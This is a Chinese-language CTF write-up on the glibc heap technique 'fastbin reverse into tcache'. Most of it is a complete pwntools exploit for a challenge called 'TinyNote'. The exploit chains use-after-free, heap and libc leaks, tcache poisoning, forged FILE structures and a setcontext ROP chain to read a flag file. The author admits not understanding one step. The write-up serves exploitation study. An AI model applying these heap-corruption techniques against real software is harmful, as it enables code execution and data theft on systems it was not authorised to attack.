fastbin reverse into tcache

[TOC] 参考博客1 参考博客2

低版本

  • 在2.27-2.31版本中,没有对fd指针加密,所以在利用的时候非常简单,只需要将tcache填满,然后放7个chunk进fastbin,并将第一个放进fastbin的chunk的fd改成目标地址,然后清空tcache,申请一个fastbin出来,就可以将target链入tcache并且是在头部,这样即可实现任意地址写一个堆地址的目的,还能将链入tcache的地址申请出来,达到任意地址写任意值。

高版本

  • 从libc2.32开始,针对tcache和fastbin的fd指针都进行了一个加密,加密过程是用当前chunk的地址»12去和fd值异或,并将结果作为新的fd值,所以在进行fastbin reverse into tcache的时候,就不能单纯的将fastbin的fd该成目标地址了,需要先和其地址»12去异或

例题 TinyNote

  • 这个题最多申请3个chunk,有uaf,也有show,但是只能malloc(0x10),想要泄露libcbase肯定要搞出一个大于0x410的chunk才能泄露libcbase,这里是利用tcache poison伪造了一个fake chunk,绕过free的一些检查,即可泄露libcbase
  • 这个题因为tcache poison很容易,也没有什么操作次数限制,因此可以很轻松地控制tcache perthread struct结构,那么就可以进行任意地址的获取与写入
  • 这个exp只是为了学习fastbin reverse into tcache,实际上还可以优化,因为可以任意地址获取和任意地址写,因此很多高版本的io链都可以打,同时也可以打malloc_assert,这里就不再实现了

exp

from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import p64
context(os='linux', arch='amd64', log_level='debug')
# p=gdb.debug("/home/zp9080/PWN/viphouse",'b *0x401AC3')
elf=ELF("/home/zp9080/PWN/TinyNote")
libc=elf.libc
io=process("/home/zp9080/PWN/TinyNote")
rl = lambda    a=False        : io.recvline(a)
ru = lambda a,b=True    : io.recvuntil(a,b)
rn = lambda x            : io.recvn(x)
sn = lambda x            : io.send(x)
sl = lambda x            : io.sendline(x)
sa = lambda a,b            : io.sendafter(a,b)
sla = lambda a,b        : io.sendlineafter(a,b)
irt = lambda            : io.interactive()
dbg = lambda text=None  : gdb.attach(io, text)
# lg = lambda s,addr        : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
lg = lambda s            : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu64 = lambda data        : u64(data.ljust(8, b'\x00'))
def menu(choice):
    sla("Choice:",str(choice))
def add(index):
    menu(1)
    sla("Index:",str(index))
def edit(index,context):
    menu(2)
    sla("Index:",str(index))
    sa("Content:",context)
def show(index):
    menu(3)
    sla("Index:",str(index))
def free(index):
    menu(4)
    sla("Index:",str(index))
def dbg():
    gdb.attach(io,'b *$rebase(0x16F0)')
    pause()
 
#-----------------------leak heapbase--------------------------
add(0)
add(1)
free(0)
show(0)
ru("Content:")
heapbase=u64(io.recv(5).ljust(8,b'\x00'))
heapbase=heapbase<<12
lg("heapbase")
 
 
#-----------------------leak libcbase------------------------------
#此处刚好ck1的header,所以edit(0)就可以修改ck1的size
heap=heapbase+0x2b0
xor=heapbase>>12
free(1)
edit(1,p64(xor^heap))
add(1)
add(0)
edit(0,p64(0)+p64(0x421))
'''
这里说明一下这个add的原因,主要是consolidate机制的原因,因为free一个chunk,会先向低地址看能否合并,这里PREV_INUSE=1,直接略过
但是会向高地址看能否合并,会通过其size找到next chunk,这里我要让其PREV_INUSE=1才行,因此有了这个循环
'''
for i in range(0x21):
    add(0)
free(1)
show(1)
ru("Content:")
libcbase=u64(io.recv(6).ljust(8,b'\x00'))-(0x7f514304ec00-0x7f5142e6e000)
lg("libcbase")
io_list_all=libcbase+0x1e15c0
io_str_jumps=libcbase+0x1e2560
free_hook=libcbase+libc.sym['__free_hook']
pcop=libcbase+0x14a0a0
lg("pcop")
setcontext=libcbase+libc.sym['setcontext']
rdi_ret=libcbase+0x0000000000028a55
rsi_ret=libcbase+0x000000000002a4cf
rdx_ret=libcbase+0x00000000000c7f32
open=libcbase+libc.sym['open']
read=libcbase+libc.sym['read']
write=libcbase+libc.sym['write']
#----------------------fastbin reverse into tcache---------------------------
##---------change tcache count-----------

dbg()
add(0)
add(1)
free(0)
free(1)
heap=heapbase+0x10
edit(1,p64(xor^heap))
add(0)
add(0)
edit(0,p64(0))


##------------full fastbin----------------
add(1)#change fd
add(2)#full fastbin
free(1)
#edit(0)相当于在edit counts数组
edit(0,p64(2))
edit(1,p64(xor^heapbase+0x90))
add(1)
add(1)
#edit(1)可以直接获取任意地址
#填满tcache
for i in range(7):
    edit(0,p64(0))
    add(2)
    edit(0,p64(i))
    free(2)
#注意途中不要破坏已经填满的tcache
edit(0,p64(0))
add(2)
edit(0,p64(7))
free(2)
edit(2,p64(xor^(io_list_all+0x70)))
#用tcache中的chunk填满fastbin
for i in range(6):
    add(2)
    edit(0,p64(7))
    free(2)
    edit(0,p64(6-i))

edit(0,p64(0))
#这一步没太懂???
edit(1,p64(io_list_all>>12))
#------------------触发fastbin reverse into tcache--------------------------
add(2)
 

def change(addr,context):
    edit(0,p64(1))
    edit(1,p64(addr))
    add(2)
    edit(2,context)
 
#此时stderr的0x68也就是chain被写入了heapbase+0x10
'''
.text:000000000014A0A0                 mov     rdx, [rdi+8]
.text:000000000014A0A4                 mov     [rsp+0C8h+var_C8], rax
.text:000000000014A0A8                 call    qword ptr [rdx+20h]
'''
length=0x230
start = heapbase + 0x600
end = start + ((length) - 100)//2
change(heapbase+0x30,p64(1)+p64(0xffffffffffff))
change(heapbase+0x40,p64(0)+p64(start))
change(heapbase+0x50,p64(end))
change(heapbase+0xd0,p64(0))
change(heapbase+0xe0,p64(0)+p64(io_str_jumps))
#在tcache perthread结构中进行任意地址的获取
change(heapbase+0x1a0,p64(free_hook))

#rdx=[rdi+8]=heapbase+0x700
change(start,p64(pcop)+p64(heapbase+0x700))
change(heapbase+0x720,p64(setcontext+61))
change(heapbase+0x7a0,p64(heapbase+0x800)+p64(rdi_ret))
change(heapbase+0x7c0,b'flag'.ljust(0x10,b'\x00'))
change(heapbase+0x800,p64(heapbase+0x7c0)+p64(rsi_ret))
change(heapbase+0x810,p64(0)+p64(open))
change(heapbase+0x820,p64(rdi_ret)+p64(3))
change(heapbase+0x830,p64(rsi_ret)+p64(heapbase+0x900))
change(heapbase+0x840,p64(rdx_ret)+p64(0x50))
change(heapbase+0x850,p64(read)+p64(rdi_ret))
change(heapbase+0x860,p64(1)+p64(write))
 
#----------exit--------------
edit(1,p64(free_hook))
edit(0,p64(1))
add(2)
 
irt()